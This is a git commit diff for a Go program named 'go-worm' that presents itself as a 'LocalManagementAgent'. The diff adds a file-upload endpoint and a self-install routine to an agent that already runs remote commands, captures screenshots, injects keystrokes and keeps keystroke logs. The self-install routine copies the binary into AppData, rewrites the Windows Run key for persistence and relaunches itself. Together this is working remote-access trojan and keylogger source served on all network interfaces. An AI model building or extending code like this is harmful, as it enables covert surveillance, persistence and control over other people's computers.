Add file upload functionality to the agent. Implement API endpoint for uploading files, including validation and error handling. Update web interface to support file selection and display upload status. Enhance input handling with configurable key delay for text input.

This commit is contained in:
2026-08-28 12:52:26 +03:00
parent d7274f34e0
commit fe560c6a65
16 changed files with 408 additions and 24 deletions
+1
View File
@@ -67,6 +67,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/status", a.handleStatus) mux.HandleFunc("/api/v1/status", a.handleStatus)
mux.HandleFunc("/api/v1/files", a.handleFiles) mux.HandleFunc("/api/v1/files", a.handleFiles)
mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/upload", a.handleUpload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/startup", a.handleStartup)
+70 -2
View File
@@ -44,6 +44,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
@@ -170,6 +171,65 @@ func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
http.ServeContent(w, r, name, info.ModTime(), f) http.ServeContent(w, r, name, info.ModTime(), f)
} }
func (a *Agent) handleUpload(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize)
if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil {
helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid")
return
}
dir := strings.TrimSpace(r.FormValue("path"))
if dir == "" {
helpers.WriteError(w, http.StatusBadRequest, "path is required")
return
}
upload, header, err := r.FormFile("file")
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, "file is required")
return
}
defer upload.Close()
target, err := files.UploadTarget(a.root, dir, header.Filename)
if err != nil {
switch {
case errors.Is(err, files.ErrBadUploadName):
helpers.WriteError(w, http.StatusBadRequest, err.Error())
default:
files.WritePathError(w, err)
}
return
}
out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o644)
if err != nil {
files.WritePathError(w, err)
return
}
written, err := io.Copy(out, upload)
closeErr := out.Close()
if err != nil {
helpers.Log.Printf("upload: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not save file")
return
}
if closeErr != nil {
helpers.Log.Printf("upload close: %v", closeErr)
helpers.WriteError(w, http.StatusInternalServerError, "could not save file")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"ok": true,
"path": target,
"size": written,
"name": filepath.Base(target),
})
}
func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet { if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
@@ -281,12 +341,20 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
helpers.WriteError(w, http.StatusBadRequest, "text is too long") helpers.WriteError(w, http.StatusBadRequest, "text is too long")
return return
} }
if err := input.TypeText(request.Text); err != nil { delayMs := config.DefaultKeyDelayMs
if request.DelayMs != nil {
delayMs = input.ResolveKeyDelay(*request.DelayMs)
}
if err := input.TypeText(request.Text, delayMs); err != nil {
helpers.Log.Printf("text: %v", err) helpers.Log.Printf("text: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not type text") helpers.WriteError(w, http.StatusInternalServerError, "could not type text")
return return
} }
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "length": len(request.Text)}) helpers.WriteJSON(w, http.StatusOK, map[string]any{
"ok": true,
"length": len(request.Text),
"delay_ms": delayMs,
})
} }
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
+38 -1
View File
@@ -114,6 +114,22 @@
); );
} }
async function uploadFile(file) {
const dir = pathInput.value.trim();
if (!dir) {
throw new Error("open a folder first");
}
const form = new FormData();
form.set("path", dir);
form.set("file", file);
showError("");
const res = await fetch("/api/v1/upload", { method: "POST", body: form });
if (!res.ok) {
throw new Error(await readError(res));
}
return res.json();
}
async function listFiles(path) { async function listFiles(path) {
const query = new URLSearchParams(); const query = new URLSearchParams();
if (path) query.set("path", path); if (path) query.set("path", path);
@@ -284,10 +300,11 @@
const field = document.getElementById("video-text"); const field = document.getElementById("video-text");
const text = field.value; const text = field.value;
if (!text) return; if (!text) return;
const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200);
await api("/api/v1/input/text", { await api("/api/v1/input/text", {
method: "POST", method: "POST",
headers: { "Content-Type": "application/json" }, headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text }), body: JSON.stringify({ text, delay_ms: delayMs }),
}); });
field.value = ""; field.value = "";
} }
@@ -362,6 +379,21 @@
document.getElementById("file-up").addEventListener("click", () => { document.getElementById("file-up").addEventListener("click", () => {
listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message)); listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
}); });
const filePicker = document.getElementById("file-picker");
document.getElementById("file-upload").addEventListener("click", () => {
filePicker.click();
});
filePicker.addEventListener("change", () => {
const file = filePicker.files[0];
filePicker.value = "";
if (!file) return;
uploadFile(file)
.then((data) => {
fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`;
return listFiles(pathInput.value.trim());
})
.catch((err) => showError(err.message));
});
document.getElementById("shot-capture").addEventListener("click", () => { document.getElementById("shot-capture").addEventListener("click", () => {
captureScreen().catch((err) => showError(err.message)); captureScreen().catch((err) => showError(err.message));
}); });
@@ -379,6 +411,11 @@
document.getElementById("video-send").addEventListener("click", () => { document.getElementById("video-send").addEventListener("click", () => {
sendVideoText().catch((err) => showError(err.message)); sendVideoText().catch((err) => showError(err.message));
}); });
const videoKeyDelay = document.getElementById("video-key-delay");
const videoKeyDelayVal = document.getElementById("video-key-delay-val");
videoKeyDelay.addEventListener("input", () => {
videoKeyDelayVal.textContent = videoKeyDelay.value;
});
document.getElementById("video-text").addEventListener("keydown", (event) => { document.getElementById("video-text").addEventListener("keydown", (event) => {
if (event.key === "Enter") { if (event.key === "Enter") {
event.preventDefault(); event.preventDefault();
+6
View File
@@ -165,6 +165,8 @@
<input id="file-path" type="text" placeholder="Directory path, e.g. C:\Users"> <input id="file-path" type="text" placeholder="Directory path, e.g. C:\Users">
<button id="file-up" type="button">Up</button> <button id="file-up" type="button">Up</button>
<button id="file-list" class="primary" type="button">List</button> <button id="file-list" class="primary" type="button">List</button>
<button id="file-upload" type="button">Upload</button>
<input id="file-picker" type="file" hidden>
</div> </div>
<p id="file-meta" class="meta"></p> <p id="file-meta" class="meta"></p>
<table> <table>
@@ -208,6 +210,10 @@
<div class="row" style="margin-top:0.75rem"> <div class="row" style="margin-top:0.75rem">
<input id="video-text" type="text" placeholder="Type text for the focused field"> <input id="video-text" type="text" placeholder="Type text for the focused field">
<button id="video-send" class="primary" type="button">Send</button> <button id="video-send" class="primary" type="button">Send</button>
<label>Key delay
<input id="video-key-delay" type="range" min="0" max="200" value="25" style="width:8rem; vertical-align:middle">
<span id="video-key-delay-val">25</span> ms
</label>
</div> </div>
</section> </section>
<section id="exec" class="panel"> <section id="exec" class="panel">
+21 -1
View File
@@ -12,6 +12,7 @@ const (
DefaultAddr = "0.0.0.0:5032" DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex" MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20 RequestBodyMax = 1 << 20
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
MaxListEntries = 10000 MaxListEntries = 10000
MaxImageQuality = 100 MaxImageQuality = 100
DefaultExecTO = 30 DefaultExecTO = 30
@@ -19,7 +20,10 @@ const (
StartupValueName = "LocalManagementAgent" StartupValueName = "LocalManagementAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096 MaxInputText = 4096
DefaultKeyDelayMs = 25
MaxKeyDelayMs = 200
AppDataDir = "LocalManagementAgent" AppDataDir = "LocalManagementAgent"
InstalledExeName = "localagent.exe"
KeylogSubdir = "keystrokes" KeylogSubdir = "keystrokes"
DefaultKeylogRetentionDays = 7 DefaultKeylogRetentionDays = 7
) )
@@ -53,9 +57,25 @@ func KeylogRetentionDays() int {
} }
func KeylogDir() (string, error) { func KeylogDir() (string, error) {
base, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(base, KeylogSubdir), nil
}
func InstallDir() (string, error) {
base, err := os.UserConfigDir() base, err := os.UserConfigDir()
if err != nil { if err != nil {
return "", err return "", err
} }
return filepath.Join(base, AppDataDir, KeylogSubdir), nil return filepath.Join(base, AppDataDir), nil
}
func InstalledExe() (string, error) {
dir, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(dir, InstalledExeName), nil
} }
+37
View File
@@ -129,3 +129,40 @@ func isWithin(root, candidate string) bool {
} }
return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel) return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel)
} }
var ErrBadUploadName = errors.New("invalid upload file name")
func SafeUploadName(name string) (string, error) {
name = strings.TrimSpace(name)
if name == "" {
return "", ErrBadUploadName
}
name = filepath.Base(name)
if name == "" || name == "." || name == ".." {
return "", ErrBadUploadName
}
return name, nil
}
func UploadTarget(root, dir, filename string) (string, error) {
safeName, err := SafeUploadName(filename)
if err != nil {
return "", err
}
cleanDir, err := AllowedPath(root, dir, true)
if err != nil {
return "", err
}
info, err := os.Stat(cleanDir)
if err != nil {
return "", err
}
if !info.IsDir() {
return "", errors.New("path is not a directory")
}
target := filepath.Join(cleanDir, safeName)
if root != "" && !isWithin(root, target) {
return "", ErrOutsideRoot
}
return target, nil
}
+30
View File
@@ -0,0 +1,30 @@
package files
import "testing"
func TestSafeUploadName(t *testing.T) {
t.Parallel()
cases := map[string]bool{
"notes.txt": true,
"../evil.exe": true, // basename keeps evil.exe
"..": false,
".": false,
"": false,
`C:\temp\foo.txt`: true,
}
for name, wantOK := range cases {
got, err := SafeUploadName(name)
if wantOK {
if err != nil {
t.Fatalf("SafeUploadName(%q) err = %v", name, err)
}
if got == "" || got == "." || got == ".." {
t.Fatalf("SafeUploadName(%q) = %q", name, got)
}
continue
}
if err == nil {
t.Fatalf("SafeUploadName(%q) = %q, want error", name, got)
}
}
}
+42 -9
View File
@@ -5,8 +5,11 @@ import (
"runtime" "runtime"
"strings" "strings"
"syscall" "syscall"
"time"
"unicode/utf16" "unicode/utf16"
"unsafe" "unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/config"
) )
const ( const (
@@ -98,10 +101,11 @@ func Click(x, y int, button string) error {
return nil return nil
} }
func TypeText(text string) error { func TypeText(text string, delayMs int) error {
if text == "" { if text == "" {
return ErrEmptyText return ErrEmptyText
} }
delayMs = resolveKeyDelay(delayMs)
runtime.LockOSThread() runtime.LockOSThread()
defer runtime.UnlockOSThread() defer runtime.UnlockOSThread()
@@ -109,15 +113,44 @@ func TypeText(text string) error {
return err return err
} }
units := utf16.Encode([]rune(text)) runes := []rune(text)
inputs := make([]keybdInput, 0, len(units)*2) for i, r := range runes {
for _, unit := range units { if err := sendUnicodeRune(r); err != nil {
inputs = append(inputs, return err
keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode},
keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup},
)
} }
return sendKeys(inputs) if i < len(runes)-1 && delayMs > 0 {
time.Sleep(time.Duration(delayMs) * time.Millisecond)
}
}
return nil
}
func resolveKeyDelay(ms int) int {
if ms < 0 {
return 0
}
if ms > config.MaxKeyDelayMs {
return config.MaxKeyDelayMs
}
return ms
}
// ResolveKeyDelay returns the effective per-key delay for API responses.
func ResolveKeyDelay(ms int) int {
return resolveKeyDelay(ms)
}
func sendUnicodeRune(r rune) error {
for _, unit := range utf16.Encode([]rune{r}) {
inputs := []keybdInput{
{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode},
{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup},
}
if err := sendKeys(inputs); err != nil {
return err
}
}
return nil
} }
func attachInputDesktop() error { func attachInputDesktop() error {
+84
View File
@@ -0,0 +1,84 @@
package install
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
func Ensure() error {
target, err := config.InstalledExe()
if err != nil {
return err
}
current, err := os.Executable()
if err != nil {
return err
}
current, err = filepath.Abs(current)
if err != nil {
return err
}
target, err = filepath.Abs(target)
if err != nil {
return err
}
if samePath(current, target) {
return nil
}
if err := copyExe(current, target); err != nil {
if _, statErr := os.Stat(target); statErr != nil {
return fmt.Errorf("copy to %s: %w", target, err)
}
}
if err := syncStartup(); err != nil {
return fmt.Errorf("update startup path: %w", err)
}
cmd := exec.Command(target, os.Args[1:]...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
}
func copyExe(from, to string) error {
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
return err
}
src, err := os.Open(from)
if err != nil {
return err
}
defer src.Close()
dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
if err != nil {
return err
}
defer dst.Close()
if _, err := io.Copy(dst, src); err != nil {
return err
}
return nil
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
return strings.EqualFold(a, b)
}
+42
View File
@@ -0,0 +1,42 @@
package install
import (
"path/filepath"
"testing"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
func TestSamePath(t *testing.T) {
t.Parallel()
cases := []struct {
a, b string
want bool
}{
{`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true},
{`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false},
}
for _, tc := range cases {
if got := samePath(tc.a, tc.b); got != tc.want {
t.Fatalf("samePath(%q, %q) = %v, want %v", tc.a, tc.b, got, tc.want)
}
}
}
func TestInstalledExeName(t *testing.T) {
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
dir, err := config.InstallDir()
if err != nil {
t.Fatalf("InstallDir: %v", err)
}
exe, err := config.InstalledExe()
if err != nil {
t.Fatalf("InstalledExe: %v", err)
}
if filepath.Base(exe) != config.InstalledExeName {
t.Fatalf("InstalledExe base = %q, want %q", filepath.Base(exe), config.InstalledExeName)
}
if filepath.Dir(exe) != dir {
t.Fatalf("InstalledExe dir = %q, want %q", filepath.Dir(exe), dir)
}
}
+7
View File
@@ -0,0 +1,7 @@
//go:build !windows
package install
func syncStartup() error {
return nil
}
+9
View File
@@ -0,0 +1,9 @@
//go:build windows
package install
import "tea.chunkbyte.com/kato/go-worm/lib/startup"
func syncStartup() error {
return startup.SyncInstalledPath()
}
+3 -1
View File
@@ -8,13 +8,15 @@ import (
"syscall" "syscall"
"golang.org/x/sys/windows" "golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
) )
func Detach() error { func Detach() error {
if AlreadyRunning() { if AlreadyRunning() {
return fmt.Errorf("agent already running") return fmt.Errorf("agent already running")
} }
exe, err := os.Executable() exe, err := config.InstalledExe()
if err != nil { if err != nil {
return err return err
} }
+1
View File
@@ -53,4 +53,5 @@ type ClickRequest struct {
type TextRequest struct { type TextRequest struct {
Text string `json:"text"` Text string `json:"text"`
DelayMs *int `json:"delay_ms,omitempty"`
} }
+11 -9
View File
@@ -2,8 +2,6 @@ package startup
import ( import (
"errors" "errors"
"os"
"path/filepath"
"golang.org/x/sys/windows/registry" "golang.org/x/sys/windows/registry"
@@ -21,7 +19,7 @@ func Enabled() bool {
} }
func Enable() error { func Enable() error {
command, err := commandLine() command, err := installedCommandLine()
if err != nil { if err != nil {
return err return err
} }
@@ -33,6 +31,14 @@ func Enable() error {
return k.SetStringValue(config.StartupValueName, command) return k.SetStringValue(config.StartupValueName, command)
} }
// SyncInstalledPath rewrites an existing Run entry to the AppData install path.
func SyncInstalledPath() error {
if !Enabled() {
return nil
}
return Enable()
}
func Disable() error { func Disable() error {
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE) k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
if err != nil { if err != nil {
@@ -49,12 +55,8 @@ func Disable() error {
return err return err
} }
func commandLine() (string, error) { func installedCommandLine() (string, error) {
exe, err := os.Executable() exe, err := config.InstalledExe()
if err != nil {
return "", err
}
exe, err = filepath.Abs(exe)
if err != nil { if err != nil {
return "", err return "", err
} }
+5
View File
@@ -14,6 +14,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/agent" "tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/install"
"tea.chunkbyte.com/kato/go-worm/lib/instance" "tea.chunkbyte.com/kato/go-worm/lib/instance"
) )
@@ -21,6 +22,10 @@ func main() {
background := flag.Bool("background", false, "run without a console window") background := flag.Bool("background", false, "run without a console window")
flag.Parse() flag.Parse()
if err := install.Ensure(); err != nil {
helpers.Log.Fatalf("install: %v", err)
}
if *background { if *background {
if err := instance.Detach(); err != nil { if err := instance.Detach(); err != nil {
helpers.Log.Fatalf("%v", err) helpers.Log.Fatalf("%v", err)